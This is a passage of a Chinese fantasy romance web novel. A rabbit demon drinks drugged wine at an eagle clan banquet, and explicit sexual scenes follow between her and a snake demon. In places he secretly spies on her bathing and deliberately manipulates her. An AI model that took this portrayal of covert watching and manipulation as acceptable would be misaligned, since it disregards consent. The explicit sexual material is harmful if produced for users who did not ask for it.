她们二妖真没什么好聊的,干瞪眼一会,蛛娘熟稔地带着她去沐浴,跟同着好多的小鸟妖。 小鸟妖们伺候得无微不至,有往池子里撒花瓣的,也有给池子里倒些玉扶也不知是什么的液体。 她几次想跑,都被蛛娘给拉回了池子里:“小兔妖,你怕什么,到了现在,我还敢对你做什么不成?” “你那大妖闹这么大的事,还为你也要了个妖神古墟的名额。” 蛛娘语气酸得很,同玉扶分明是想交好一点的,可还是不忘贬一下:“要知道别的像你这样连元婴都没有的小妖,哪有这个机会。” 玉扶浸在水里,哼哼地想,元婴,她也上过呢,虽然是刚上没多久就跌了下来,可也是上过。 她才不觉得自己能入妖神古墟有什么不可以。 但她也确实安分下来了:“妖神古墟是个什么样的地方?” 蛛娘也浸入池中:“没去过。” “总之,是个古妖神的战场,许多妖神的埋骨之地。” “也是许多大妖向往的传承之地。” 说着向往,但她的声音并听不出太多的向往情绪,反更多的是惆怅。 她不年轻了,她的本事与交际,若妖王城能一直和平下去,知不知道妖神古墟的存在也没什么区别。 可正是同大人物交道打得多了,知道了许多本不该知晓的事,心思也便多了起来,她总要更强一些,才好能长长久久地带着一众妖工们继续开她的客栈。 鹰族是她数百年来经营的依仗,也不难拿到一个入妖神古墟的名额,也好在最后两大妖都能坐下和谈,否则,她往日的经营就都败在兔妖和蛇妖身上了。 她带来的妖闹事,她又如何能继续在鹰族好了? 总之,就是疲惫得她都不想算计了。 再算计,还不如一只兔妖命好。 命好的玉扶没从蛛娘口中得到更具体的信息,不过妖族传承她还是懂的,是好地方。 阿裴没有骗她,去妖神古墟可以变强,他要带她去呢。 他突然这么好,这么讲信用,她都有些无所适从了。 玉扶半张脸都藏入了池中,咕噜咕噜地冒着泡。 实在看不出什么出息的样,蛛娘没好气地横她一眼,将她从水中捞起来,手一直往她身上丈量。 像是料到了玉扶会反抗,会溜,她几只手几乎顷刻就把玉扶量了个遍。 玉扶也果然跑得很快,抱着肩离她远远的,满是被人侵犯了的防备。 蛛娘嗤一声地从水中站起,她的身量比玉扶高,曲线成熟妩媚,姿态胜利地与玉扶展示着什么。 都是妖,哪里有什么羞耻,蛛娘都不要脸地展示了,玉扶也直愣愣地看,但越看,玉扶脑袋越低,慢慢地又把自己浸入水中。 气死妖了!有什么好显摆的。 她师姐说了,过犹不及,她这样匀称的也特别好。 玉扶撇脸,不想再理会蛛娘。 见打击到小兔妖,蛛娘得意地扭了扭身,但也不是说完全看不上小兔妖,兔妖年轻,雪肌腻理,肌肤白莹莹嫩得能掐出水,瞧着就令人嫉妒,偏生天真不谙世事,很有欺负的趣味。 她在大妖那讨不到好,稍稍欺负一下他的兔子又不为过,且,也不纯粹是欺负,方才的一瞬,已够她摸清玉扶的身量尺寸,当下就改起了那件没送出的法衣。 银丝于她手中飞快织梭,法衣的腰身缩了一点,领口也又改了改…… 玉扶见她不注意自己,往池岸上爬,在别人的地盘,虽然好像没有什么危险了,可她还是觉得跟在阿裴身边有安全感一些。 然,她才将要套上自己的衣服,一株银丝将她的衣服搅成了稀巴烂。 玉扶真的生气了,她自认为对蛛娘已经很客气了,一开始蛛娘就讨厌,但玉扶分得清,她更多是因为阿裴才对蛛娘感到讨厌的,所以她最该生气的还是阿裴。 可现在无缘无故的,不让她穿衣服,一点也不讲理,她叉腰就要与蛛娘理论,却罩头一身衣袍。 “穿这件,将你那全是稚气的衣裙有多远扔多远。”蛛娘也从水中出来,轻拨动发尾,浑身的水汽蒸干,她披着一纱质轻衣,款款走向玉扶:“小兔子,我一看你的样子,就是还没将大妖拿下吧?” 玉扶鼓鼓腮:“我很快就会将他拿下,等我变强。” “谁教你的要变强才能将大妖拿下?”蛛娘简直被玉扶的理论给逗笑了,她点了点玉扶的眉心道:“我们妖,只有先吃到了才不浪费,懂吗?” “你修为这样低,你当你能跟着你那大妖多久?” “我们妖都是很善变的。” 玉扶没法反驳,其实就算不是妖,人修也很是善变的,她的师姐们就不知换了多少情人,所以,她也没有想着一直一直跟着阿裴,她就想着,只要渡情期能跟着就好了。 但这种现实被直白点出时,玉扶还是生出了烦躁,因为阿裴确实很善变,至少比她善变,她都已经很久没有三心二意地想寻其他的人修或妖了,而阿裴,已经有出门不带她的前科了。 瞧出了玉扶的心思,蛛娘又点了点她道:“把衣服换上,我带你去宴席。” “今夜啊,我保管你将他拿下。”蛛娘捂唇笑。 玉扶疑惑:“你为什么帮我?” “你不是想同我抢的吗?” 蛛娘被玉扶的直白噎了一下,见识了大妖的凶狠无情,她哪里还敢往上贴,可心里揣着秘密,总不愿放过经营的机会,然,大妖身边能使劲也就这还不错的小兔妖了。 在她看来,大妖就对这小兔妖占有欲很强。 与其便宜了旁的妖,倒不如推推这兔妖。 妖是没有人族那种礼法约束的,鹰族的饮宴,尤其是要招待欲招揽的大妖,那更是没有下限,助兴的酒、漂亮小鸟妖的歌舞、芳香四溢的兽肉……甚至血腥点的,当场剥妖仆妖丹下酒的都有。 蛛娘对这些都门清,催促玉扶换衣道:“你当我想帮你?还不是你那大妖看不上老娘?” 不仅没被看上,更被毫不怜香惜玉揍一顿,浑身骨头到现在都疼,更没好气道:“你当老娘织这身衣服容易?再墨迹,你就等着你的大妖被这里的小鸟妖抢走算了!” 蛛娘没见过玉扶这样不像妖的妖。 跟人族正派里长得似的,妖域的妖,哪个会这样抢都抢不明白? 换了她是兔妖,高低要把大妖—— 想到大妖那毫不留情掐死雪仙护法的模样,当即将想法又压了下去。 而玉扶听到“小鸟妖”,果然有了危机感,还是听蛛娘话地换了那身衣服。 很合身,合身到玉扶有些不自在,她是山里跑的兔子,总不太喜欢太束缚的衣服。 但蛛娘并没有给她太多适应的时间,带着她就往宴中去。 * 鹰族的宴请已开始了有一会。 裴息尘同单云霄并没有结成兄弟,但达成了其余的合作。 单云霄愿意给裴息尘两个入妖神古墟的名额,也答应不会强求裴息尘入鹰族的麾下,只一点需要他出力。 他知妖神古墟中有一隐藏妖墓,需裴息尘助他前往一探。 裴息尘答应了。 一时间,单云霄对裴息尘很是热情,玉扶还不曾入宴,就听得单云霄同裴息尘相谈甚欢:“你这兄弟我交定了,来,喝酒!” 玉扶瞧见了好几个漂亮的小鸟妖给裴息尘斟酒。 第34章 玉扶步子凝住了。 双眼盯着那渐满的酒杯, 比在场的所有妖都要紧张。 她是知道阿裴不能饮酒的,饮酒就可能晕过去,醒来或许就是息尘了。 可难得的, 她纠结了。 她有点想息尘,但也对阿裴生出些不舍。 他比较大方, 还答应带她去妖神古墟, 而且, 这里是妖域, 若是醒来的是息尘, 应该会很难应对吧? 玉扶想啊想,那酒液也渐斟满。 阿裴应该很为难吧,鹰族这样热情, 他不喝的话, 是不是又会和鹰族打起来? 眼见的,阿裴端起了酒盏—— 玉扶风一般地快过了蛛娘,腰下长长飘带扬如一条流线,再见她已到裴息尘面前, 嫣红唇瓣就着他的手, 叼向了酒盏。 微微下压, 酒盏倾斜,一点点吞咽之声,轻轻地地响。 妖的酒盏自来大碗, 玉扶像是喝了许久,见底部还有一浅层, 托着裴息尘的手一口饮尽。 颊靥浮红,非常有想吐出的冲动,捂着唇, 强咽了下去。 蛛娘惊住了,就连单云霄也饶有兴趣地看闯入的兔妖。 裴息尘警告地同不相干的妖一扬眼,于玉扶的手肘带一下,玉扶整个人绕圈似的绕过桌沿,跌入他怀里。 他压下脸,与玉扶咬耳朵:“阿扶,你在做什么?” 玉扶身形娇小,直如嵌入他怀中般抬眼:“我在帮你呀!” 她怕旁人听到,说得很小声,又因刚饮下的酒太多,她还是怕自己吐出来,甫一贴近裴息尘说完话,又紧紧捂住了唇,愈发衬得一双眼又润又透。 还真是,美味。 美味到,现在就想抓起她来咬一口。 他低低地发笑,愉悦地更拥了拥她,头磕在她发顶,低头亲了亲:“我的乖小兔。” “那就交给你了。” 蛛娘对玉扶的手段折服了,瞧着笨,原来是奔放流的,就这么会功夫,完完全全地独占了大妖,甚至,那些斟酒的小鸟妖都用不上了,大妖亲自斟酒,然后端给了怀中的兔妖。 玉扶努力一小口一小口饮着酒,迷蒙着眼瞧歌舞,跳舞的小鸟妖们穿得比她宗门的师姐们还清凉,还总跳到她面前,上面的大鸟妖更讨厌,她都要喝不下了,还在劝阿裴饮酒。 他劝一次,玉扶的压力就大一次。 终于熬不住地对阿裴摇头,她似乎听见阿裴在和大鸟妖说什么: “小兔霸道……借贵地……” 玉扶被抱了起来,有小鸟妖在带路往住处。 玉扶也不知什么时候变回了兔子,她已经很久没有这样控制不住化形了,那些酒就跟在她肚子里打架似的,好烧好烧。 可真要算的话,她其实并没有喝很多,一盏,不对,三盏,嗯……三盏剩了一半! 玉扶肯定,可是,三盏剩一半是多少? 她算不明白了。 她在裴息尘的怀里翻来覆去地折腾,左钻一下,又钻一下,还往他胸膛的衣襟扒拉…… 裴息尘后悔了,早知道醉酒的兔子这样难带,他就不让她喝后续的两盏了,待跟至客舍,他的衣襟已被扯得凌乱。 带路的鹊鸟妖们抿唇笑:“妖君恐怕不知,我们少主待客的妖酒中加入了火蜥蜴血,大妖便是饮多也影响不大,可若是小妖饮了,恐怕还需妖君为的她发散出来。” 鹊鸟妖们一齐对裴息尘福了福,背后化出羽翼,提着灯相继飞走,清清脆脆的议论还没飞远就传了回来: “我就没见过这般护食的兔妖。” “小气得紧,为霸占大妖,那等酒竟喝了三盏——” “少主难得宴请了个俊美的大妖,我等白抢去跳一场舞了。” “他可真俊,早知我也该学兔妖饮盏酒跌到他怀里——” “你可想得美,那兔妖分明就是与大妖一起的。” “那又如何,大家不都是妖嘛。” …… 议论渐远,裴息尘推门入房。 说起来,他当妖,和玉扶的常识水平也差不离,对火蜥蜴的血有什么效用,仅能通过宴饮时的观察与鹊鸟妖们的谈话,推测,大抵有助兴的效果。 这效果对修为高的大妖,或就如寻常酒水,可被阿扶饮了,反应就大了不少。 她就像烧起来的暖炉,浑身都在发烫,甫一放她下来,她还不开心了,尽往自己身上贴。 裴息尘笑了笑:“色兔子,帮个忙也要占我便宜。” 他将玉扶重新推倒,手覆上玉扶肚子,手感甚好地揉了揉,同时,妖力施为,自玉扶身上的蒸腾出不少酒气。 酒气氤氲中,玉扶总算从热得不知所以,变得能控制自己化形了,她抱着覆在自己肚子上的大手,舒服得嘤声,迷蒙的眼也随之睁开。 她的角度,刚好可以看到对她低眼的阿裴,弯弯曲曲的墨发,坏蛋一样压迫人的眉眼,她拽着他的手缓慢坐起,低着头,容情呈现一种茫然的空白感。 她要做什么来着? 她看到自己换的新衣,想起来她和蛛娘泡澡,蛛娘看不起她! 说她这么弱,肯定不能跟着大妖很久! 还说什么,只有先吃到了才不浪费。 还有,什么小鸟妖—— 不期然地,玉扶脑中闪过小鸟妖们给裴息尘斟酒的画面。 更多的想起,阿裴真的很坏,他怎么什么妖都不拒绝? 她倏地凑近裴息尘,鼻尖凑很近很近地闻,都是她的味道,可她分明看到了还有其他妖。 她更往上凑地闻,爬坐到他懒散往榻上支的腿上,仰望着问他:“你喜欢小鸟妖吗?” 裴息尘能感到腿上的压力,她今日似乎有些不一样,皮肤因热气染了一层浅浅的红,呼出的气还带着薄薄的酒味,甜得齁人。 可不只是如此。 她腰肢弯出了软塌的弧度,纤细,柔弱,垂眼就可见,而腰肢往上,饱满欲滴。 裴息尘认出了这身衣服,是蛛娘送来的,就像是为玉扶量身做的一般,不露一点,偏又将她少女的所有优点凸显出来,纯色的衣袍,色淡,映着她纯美的面庞却生出了艳。 玉扶不满他的沉默,掰过他的脸:“你怎么不回答我?” 裴息尘挑挑眉,见她真是神智都不清楚了,无所谓吐声:“不喜欢。” “那你喜欢蜘蛛精?”玉扶歪头继续问。 裴息尘继续答:“不喜欢。” 玉扶疑惑了,松开手,揪着他腰腹衣袍坐稳地想了一会,不信道:“你说谎。” “不喜欢为什么要喝小鸟妖斟的酒?” “还有,你把蛛娘带到房里,反而把我关起来。” 玉扶越说越沮丧,开始顺着裴息尘的腿往下滑:“你比我还像妖,一点都不知道羞耻。” 又被骂没羞耻的大妖不悦地挑了挑眉,将软身的玉扶重新拉扯上来,掐着她脸危险摩挲着:“我没羞耻?” “我不该答应你那些没羞耻的要求?嗯?” 玉扶摇头,浑身还是热乎乎地发热,那些已被她吸收了的酒效,似乎在开始发挥着后劲,她要好努力思索,才能表达:“你都不会拒绝。” “不拒绝好多妖。” “除了我,你还答应好多其他妖的要求。” “蛛娘的……蛛娘的……”玉扶更晕了,她潜意识里分明觉得有好多好多,可数来数去,只数出了蛛娘。 裴息尘唇中发出呵笑,狠狠掐了掐玉扶晕红的脸蛋,又怂又霸道的兔子,他对她一再容忍、给予,她却不记得这些,只偷偷计较着他对旁的妖稍散出的一点善意。 且,那根本不是善意,不过是懒得搭理。 也就这么一点儿,计较着也就罢了,偏数来数去只数出一个来,还要臆想出有好多。 真是惯出来的欠收拾! 他的坏蛋气质毫不掩饰地流露,气息凉凉地贴着玉扶的皮面,咬她一口的念头又浮现。 玉扶不自在地后缩一点,裴息尘倾身紧跟。 不得不说,阿裴的骨相真的好完美,皮相也浓淡得宜,气质一改就全然不同的感觉,他坏笑起来好妖孽,勾魂夺魄的邪性。 这样放大在眼前地看,玉扶全然忘了自己方才说了什么得罪他的话,她开始不退了,眨着眼地问他:“你是想亲我吗?” “那你亲吧。”玉扶大方极了地噘嘴。 裴息尘的唇线成了紧闭的一线,无言看着嘴噘得高高的色兔子,咬她都好像便宜她了。 他不动了,玉扶却是不依:“你是要我亲你吗?” “你真懒。” 玉扶说着埋怨,可色心实在大,她没办法似的道:“好吧,我亲亲你也一样。” 她仰着脸反客为主地压向裴息尘,抱着他脸,狠狠地啄了一下。 他真的好大方,玉扶瞳仁亮亮地又试探亲一下,她开始觉得不够,她总贪心地想要更多更能满足她的。 不管是什么也好。 本能和酒意的驱使,她开始往下坐,一扭一扭地亲亲裴息尘的下颌,又亲一亲他的喉结。 手乱扯地摸到结实的腰腹。 裴息尘开始发现玉扶的不对,她妖异的红瞳全然显出,酒气越发浓,潮潮的汗液显出她的状态不对。 被几杯酒催得发1情了的兔子。 坏蛋开始收整衣襟,开始变得小气,他离玉扶好远。 “阿扶,你不是第一次了,你会自己解决的是吧?” 玉扶茫然,但望入他垂下的眼,玉扶好像懂得了他在说什么,开阳宗的某个夜里,她也曾这样过,那时候,她被陌生的情1潮席卷,呜呜哭着不让息尘进门。 最后,隔着一扇门,她亵渎了他。 可阿裴不是息尘不是吗?他分明能帮她的。 玉扶红润润的眼希冀又渴求地望着裴息尘,“你不帮帮我吗?” “阿扶,我们的十日之约未到。”裴息尘看着她摇头,旋即,又绽开一笑:“但我会在这陪你。” “阿扶,你可以想我。” 他真的是十足的坏蛋,玉扶倏地对他又有了认知,原来那句“你同他在一起多久,合该也与我在一起多久”真的不是玩笑,阿裴他是认真的,甚至也做到了“我会将你照顾得比他还好”。 但他的好,也就仅仅好上那么一丁点,好在,大方地允许她想他。 玉扶呜呜地埋入被窝中哭了—— 第35章 裴息尘什么都没有做, 他只是坐在玉扶可见却不可触碰的身前,一层透亮的结界将整个客房分成了两半,一半玉扶的床榻, 一半他所坐所倚的桌椅。 他能将玉扶的所有都纳入眼底,包括她呜呜的轻泣。 玉扶额上泛着细汗, 不可置信地看着他。 真是坏透了, 他怎么可以离她那么近, 又那样远。 毋庸置疑, 他完全就是故意的。 玉扶恼了他, 开始骂他坏蛋,但慢慢的,她开始懊恼那答应的十日之约。 他是不是早就想到会有这一天? 是不是故意在等着自己求他? 她慢吞吞地睁开眼, 长睫颤抖着去看他, 企图得到连她也不确定是不是的答案。 这一眼,玉扶发现,他在看她,一直在看她, 眸子像兽一样发着光。 玉扶身子触电般细细颤了颤, 她第一次的时候非常生疏, 可这突如其来的第二次,并没有让她变得多有经验,甚至, 身体回馈给她感觉,全是不够, 她似乎变得更奇怪了,渴望更刺激的触感。 她脑中开始看着阿裴在想他。 她希望他的视线在多落一点到身上,被她紧揪的薄被渐渐往下松, 她躲起来的脸颊全然探出,听见自己哀求,“阿裴,我想碰碰你。” “摸摸我……呜呜。” 潋滟含情,稠得要腻出甜意的嗓音。 裴息尘胶在她身上的视线都随之一滞,灼热的吐息,难受的不独是玉扶,尾巴克制不住地想跑出来回应热情的小兔。 他变化了坐姿,端正了许多,蛇尾被牢牢地控制成正常的双腿化形。 玉扶失望了,可她还是控制不住地想他,她翻了个身,放纵自己肆意地想他,想折辱他。 她要骑1着他,狠狠欺负他! 这样想着,玉扶终于感到一丝快意,那久久不至的欢1愉之感也重新寻到。 她是妖嘛,妖哪有什么羞耻,她开始不客气地想他,看他,嫣红的唇瓣张开,眼神与他纠缠在一起。 她手指一点点地沉下去,脸上透出些迷醉的表情,快乐地吟声:“阿裴……” 裴息尘心口突突地跳,满身青筋紧绷地臌胀,有一瞬,他分不清他到底在坚持比较什么,他嫉妒“他”,他刻意地引诱了一点也不坚定的小兔。 答应她许多事,放任她的色心,他比“他”更敏锐,更擅长对猎物的等待,终于,他得到“他”曾拥有过的待遇。 然这种待遇,失控的不止是玉扶,也似乎是在惩罚他自己,薄缎的锦被遮挡得了直白的视线,可少女身躯的起伏,还有她所有的动作、声响,都在隐秘的遮蔽中不断放大,她在想他,也在叫她,她达到了愉悦的巅峰,叫的是他。 裴息尘开始动摇,他的小兔,值得奖励。 透亮的结界消融,他终于靠近了玉扶,他俯身帮她湿淋淋颊靥的发撇到一边,亲了亲她亮晶晶的唇瓣:“乖阿扶,伸出来给我看看。” 他的气息真的好凉,好舒服,浅浅的一亲,都激得余韵的玉扶忍不住蹿过一阵战栗,玉扶该讨厌他的,他真的太坏了,她需要他,他却只是望着她,用眼一遍又一遍地看着她的狼狈,看着她对他意乱情迷。 渡情期可真是个坏阶段,那几杯酒也不是好东西。 讨厌的理由有很多,可谁让她是妖呢,妖嘛,快乐就好,玉扶羞耻地吐出一点点舌,粉滟滟、湿漉漉的。 漂亮,可爱。 裴息尘对她的误会笑了,将她的脸向上提地一捏,道:“不是这个。” 眼往她腹下的手坏极了地抬了抬。 他要看她的手,玉扶意识到了。 她被下的衣服全被她自己扯得乱七八糟,尤其是她的手,方才还揉过,许多的水液黏糊糊的,她抗拒地摇头。 她毕竟是在的人修的世界长成的,合欢宗的开放与妖域的妖总归还存在一些本质上的界限。 玉扶也总在妖与人的界限上摇摆,她总觉得,阿裴会颠覆她的下限,摇晃的脑袋,眼尾都溢出了抗拒的泪水。 然坏蛋就是坏蛋,哪里那么容易放过她,他的手伸入,摸到了她的腕,带出,欣赏地瞧:“阿扶,你的手好湿。” 少女的腕被比她大许多的手带着抬起,濛光下,细白无比,手心潮潮的,几个漂亮的指腹乃至指节,一层清透的水液,亮晶晶,漂亮极了。 裴息尘新奇地盯着,低下头。 玉扶的手背被舔了,继而,轻轻的吸吮,冰冷非人的舌卷上她的指腹与指节。 玉扶颤栗极了,她又想哭了,她就知道,他真的很没有下限,总喜欢舔各种水,她的眼泪,她的涎水,现在连这个都不放过。 而且,他一点也不好好舔,颗粒感的摩挲卷着她的指腹在打转,又痒又麻,她更使不上力了,浑身的潮意也更甚,尤其揉过的地方,淅淅沥沥的,一点也不受控制。 玉扶哭着哀求:“可不可以……呜呜……不要舔我了?” 裴息尘如用完飨食般优雅地收唇,玉扶白皙的手,全然覆上了另一层水液。 “阿扶,这是你想我的利息。” 玉扶惊住了,原来他那般大方地让她想他是要收利息的吗? “你没说过。”玉扶小声地辩驳。 裴息尘邪邪地挑眉:“那你现在知道了。” 他笑得咧开了唇,玉扶不敢反驳,闷闷地缩入满是自己气味的薄被中,术法的光亮闪一下熄一下,又闪一下,清爽的气息终于涤荡开。 “我是母兔子,男女兽兽不亲,我要睡了。” “你也去休息吧。” 裴息尘容情意外地顿了顿,他被赶了,还是另一个他曾对玉扶说过的话,还真是让人咬牙切齿的兔子。 有一刻,裴息尘也想学玉扶的“哼哼”,来表达不满。 不过,他是大妖,大妖总是要更有格调一点,也更要对自己的小兔容忍一点。 玉扶听到了推门出去的吱呀声,小心翼翼地放下被子,缓缓呼出一口气。 她空愣愣地盯着床顶,消化着情、潮的影响,好羞妖啊,阿裴真的是太不要脸了。 他顶着和息尘一样的脸,那样强势地盯着她,她脑中一时想着那时的息尘,一时又深深地被他的妖孽吸引。 好在,她聪明极了,最后唤出的都是阿裴。 玉扶下定决心,她要少喝酒,尤其是妖的酒,谁知道下次又会放什么乱七八糟的材料。 她翻滚着,靠到了墙壁的一侧,眼皮有些疲乏地阖了阖。 然,突兀的喘息闯入了她的耳。 玉扶生气,大鸟妖真小气,怎么安排的住处还有其他的妖。 但很快的,玉扶反应过来,声音的来源可能是阿裴。 她的耳朵自来很灵,而隔壁的声音也一点不知道遮掩,就连喉结滑动的声音她也听得真切。 玉扶宛如发现什么秘密地捂着唇,不让自己发出吃惊的声音,但不知是出于什么心理,她的耳,却是更贴上了墙壁。 一墙之隔的裴息尘,腰间遮盖着薄被,劲瘦的腰身挺起又重新坠回榻上,壮观的轮廓极不知羞耻。 他喘1得很厉害,探入华美衣袍下的手,动作不甚娴熟,生涩中,毫无自觉地激1烈纾1解着。 他的神识之强,如何不能穿过一层墙壁捕捉到玉扶的举动? 恶劣地 ,喘1息着唤出:“嗯好阿扶” 玉扶没有错漏这一声喊,脑子晕乎乎地全然被他的动静勾走,他怎么怎么能发出这样诱人的声音。 酥酥的,沾满了慾,而且,他也在想她。 玉扶咬着下唇,才淡下去感觉,又泛了出来,她不懂,一点也不懂阿裴,他坏蛋得根本捉摸不透。 第一次地,玉扶意识到,他与她一样是妖,忠诚于慾1望的妖,可他怎么总能面对着她的时候又一点也不为所动? 他拒绝摸摸她,也拒绝碰触她,可是,他会看着她,会用要吞掉她一般的目光舔舐她,还会隔着一堵墙 玉扶遇到的情感方面的经验还是太少了,但她的理论经验又很好地补足了这一点,师姐们说过,偶尔会有一些人修有一些的奇怪的癖好,妖修当中会更多一点。 师姐说,若是遇到这一类的,要跑远一点。 可是,师姐没说过,这一类的妖孽会这样有手段。 玉扶听到墙后的动静似乎是侧了个身,朝向了她的方位—— 她眸中沁出了泪雾,面颊通红无比,她耳朵实在太灵了,共鸣似的,一丝一毫的动静都活像是在她的耳畔。 摩挲声,绸缎滑落声,还有一些意味不明的沙沙声。 玉扶猜,他一定是放出了尾巴,他的尾巴是什么样的?也会像他的化形一样华丽漂亮吗? 想着他的面容,玉扶竟觉得滑溜溜的蛇似乎也不那么可怕了,甚至忍不住地并了并腿,在隔墙不间断的喘1息中,她又埋入被下,发出小兽似的哼唧。 她一边放纵自己,一边埋怨裴息尘的奇怪,可又隐秘地感悟到一丝,那种旁观的压抑乐趣。 阿裴看着她的时候也是这样的情绪吗? 玉扶无法得知,唯可知的是,他真的太妖了! 都怪他! 是他害她抵挡不住的。 她心跳得愈发快,渐渐完全沦陷在隔墙的引诱中。 一夜,尤其的漫长,裴息尘终于松了手,一团浸满他味道的白绒球蔫哒哒地松落,没有名字的凶剑委屈极了地躺在床下地板上。 它摊上了一个变化无常,动辄抢掠的没有道德的主人。 它的剑柄再次光秃秃—— 第36章 鹰族的地盘, 纳入了各种鸟妖。 清晨时,鸟鸣就吵闹了起来。 玉扶迷蒙睁眼,身上是法决都清洗不掉的甜腻味。 她没有因饮酒而出现记忆的空白, 甚至因天光的亮度,令她的回忆也呈现得极为清晰。 玉扶眨了眨眼, 即便她羞耻的阈值很高, 可仍红了脸, 她有点不敢马上面对妖孽的阿裴, 想了想, 小心翼翼地出了门,她知道哪里可以洗澡。 随着门开,隔壁的裴息尘也带起床气地睁了眼, 他与玉扶常是相反的极端, 他很懒,一天大部分的时候,不是在睡就是在假寐。 而玉扶早晚都要勤勤恳恳地修炼,即便夜里做了不可描述的事, 早上还会困瞪瞪地滚到有益她修炼的地方沐晨日曦光。 察觉她今日跑的有点远, 裴息尘蹙了眉, 一尾漂亮的小蛇自他身上分下,溜出了房舍,坠在玉扶不察的身后。 至于他自己, 又懒洋洋地倒下了,放出的尾巴, 闲适,悠然。 他的小兔,真是漂亮又勤劳, 他该想想,帮她变强。 他是没有道德的,即便答应了单云霄帮忙探查妖墓,可纵是他反水又能如何? 本就是为了搭个便车入妖神古墟罢了。 毕竟,若要靠他自己寻路子,去一个没半分了解的妖神古墟,可太麻烦了。 这两架打得很值,住处有了,名额有了,旁的怎么去,怎么开启……全然再不用操心。 倏地,他“唔”了声,原来是他的小蛇跟着玉扶到了处浴池。 玉扶根本不用褪衣裳,化为小兔就扎入了水中,过上一会,一堆衣裳才出现在池边。 于成熟的妖而言,一般只有故意时,才会出现光溜溜的情况。 玉扶显然对此控制得很娴熟。 她于水中游了好一会,倏地遇见什么恐慌,着急往池边游,一只蜘蛛在后头紧追不舍。 她迫出水化形,亮光下,漂亮的线条清晰无比。 池外的小蛇,豆大的眼呆愣愣地盯直了,半个蛇身都竖起,兴奋地摇摆。 与此同时,池中追迫玉扶的庞大蜘蛛,身形也在变化,又是蛛娘。 她将玉扶挡了大半,小蛇不满地嘶嘶,往池子边沿滑行,企图寻个新位置,然滑行不过一会,它趴在灌丛遮挡的地下,被池中的谈话吸引走了注意。 蛛娘化形后,优越的身姿曲线仍将玉扶挡了个结实:“小兔妖,你怎也这般早地来泡池子?” “莫不是你那大妖不行?”蛛娘挑剔地打量玉扶,莹白无比的肌骨上,竟半分痕迹也没留下,而比对她,短短的一夜,外露的肌肤,不少斑痕点点的痕迹,刺目得紧。 蛛娘根本没想遮掩,她能与鹰族少主有情缘关系,本就是值得显摆的,不过,热情也确实不如往日了,也就仅仅一夜罢了,还是建立在她消息传递及时,最后引荐有功的情况下。 但小兔妖与那大妖的情况显然是与她不同的,怎也就短短的一夜? 蛛娘生出些比对的骄傲,原是个不行的,难怪呢。 玉扶被蛛娘瞧得莫名,同时,也被她身上的许多痕迹吸引,玉扶能感觉出,蛛娘身上瞧着痕迹多,可状态却是难得的好,妖息都如第一次碰面那样精神:“你伤都好了?” 蛛娘无不显摆地道:“自然。” 她何止是伤好了,骨头缝都不疼了,要不妖怎会都爱寻比自己强的大妖修炼呢,神交一次,受益多着呢,蛛娘瞧一眼玉扶羡慕的样,问:“你那大妖便这样小气,一点也不多带带你?” 便是身体上不中用,神魂总还够强的吧,她竟丝毫没从小兔妖身上瞧出受益的痕迹来。 玉扶毕竟是理论知识非常丰富的兔子,即使初时没反应过来蛛娘的话里话外,此刻也转回了弯,她开始不服气地挽尊:“他是心疼我吃不消呢。” 蛛娘娇笑不止:“傻兔子,我不是同你说了,我们妖,只有先吃到了才不浪费。” “即便浪费,多来几次不就补回来了?” “哪有什么吃不吃得消?” “若按你的说法,那岂不是没有小妖敢觊觎大妖了?” “收益这样低,还不如寻个洞府闭关算了。” 玉扶惊了,她觉得蛛娘说的好有道理,她开始反思,开始回想,她到底是怎么一根筋走岔了路的,很快,她沮丧了,她发现,不是她不努力,是阿裴误导了她,是他用她弱为理由拒绝十日约定活的那种很补的灵息。 想来想去,只有一个解释,是阿裴小气。 原来他的大方都是表面的。 他表面的大方钓了她许久。 有一瞬,玉扶很想去寻阿裴理论。 可想也知是理论不赢的,还不如老实修炼呢。 玉扶开始不理会蛛娘,于池中泡着就开始修炼起来。 油盐不进的倔兔子,蛛娘无语地泡够后出了池子。 而偷听许久的小蛇,也不知是心虚还是旁的什么,比玉扶还早地窜回了裴息尘的落塌,于大妖的手背轻点一下,化为了漂亮的一片鳞,很快融为一色的肌肤。 裴息尘与蛇鳞所化小蛇感知相连,所有讯息顷刻涌入,撇开所有谈话,喉间滚动地只想截下少女出水一瞬的婀娜腰身。 确实,他有更快帮玉扶变厉害的方式,然,养兔子嘛,总是要更有耐心一些,更培养感情一些,他享受这种过程,也渐渐地喜欢上这种要操心的感觉。 比起意识被困于什么都做不了的禁制中,慢吞吞地陪伴一只兔子,总让他有一种无比真实的踏实之感。 有一点他与息尘无疑是共通的,比起玉扶需要他们,是他们更需要玉扶。 她天真,纯美,分外的干净,分外的让人有欺负和保护的欲望。 他会用很多方式帮助她变强,唯独不能立即地给了她想要的,他该钓着她,该诱着她更离不开自己。 然,他翻了一个身,又翻了一个身,都没有等到该回来的兔子来寻他。 再也躺不下去,推门而出。 玉扶在回去的路上,被一年轻的隼妖拦住了,隼妖年轻矫健,朝气蓬勃,对没见过的兔妖显出了无边的热情,玉扶走一步,他就跟一步,很是聒噪地问东问西。 玉扶不答的,他也能自说自话地接上,玉扶知晓了,他是大鸟妖单云霄的远房亲戚,是被选拔为入妖神古墟的一员。 玉扶终于来了兴趣,停顿脚步听他讲话,对妖神古墟,她知道的太少了,而阿裴也总仗着好本事,整日懒洋洋的,真问些什么,知晓得还不如她。 玉扶展现了她的亲和力,唇边绽笑,眼睫忽闪,专注而动人。 隼妖被这样的少女盯着,还有什么是不能说的:“我们族中被选中的鹰隼卫,身上多少都存着些上古妖神遗留的血脉,但凡能在里头提升了血派,来日上了战场,皆可成为统领一方的大妖。” “你不过一小兔,血脉想来平凡,不过,”隼妖略红了脸:“你若能告诉我你叫什么,待我成为一方大妖,我可护你不受战事影响。” 玉扶眨了眨眼,还没想好回答,先传来了一轻嗤声,随之强大的妖息铺天盖地地压向同她说话的隼妖。 裴息尘踱着散漫的步子,不屑讽笑:“本君的兔子还轮不到旁的妖来护。” 裴息尘像是真的生了气,对隼妖施加的压力毫不客气,几乎要将他的脑袋按入地下,毫不怀疑,若是再加点力,怕是能将隼妖埋了。 玉扶不忍心地拉了拉阿裴的袖子,小声提醒:“他和大鸟妖是亲戚。” 裴息尘更不悦地挑了眉,他费力打架住到内城来,可不是为了让着谁,眼中的凶戾之气掀过玉扶,直刺隼妖。 玉扶见拉不动他,也生了气,哼哼地踢了他一脚:“你不是很懒的吗?” “做什么又要打架?” 玉扶这一踹是带了怨的,蛛娘的话还是在她心里留下了影响,跟着阿裴,收益太小了。 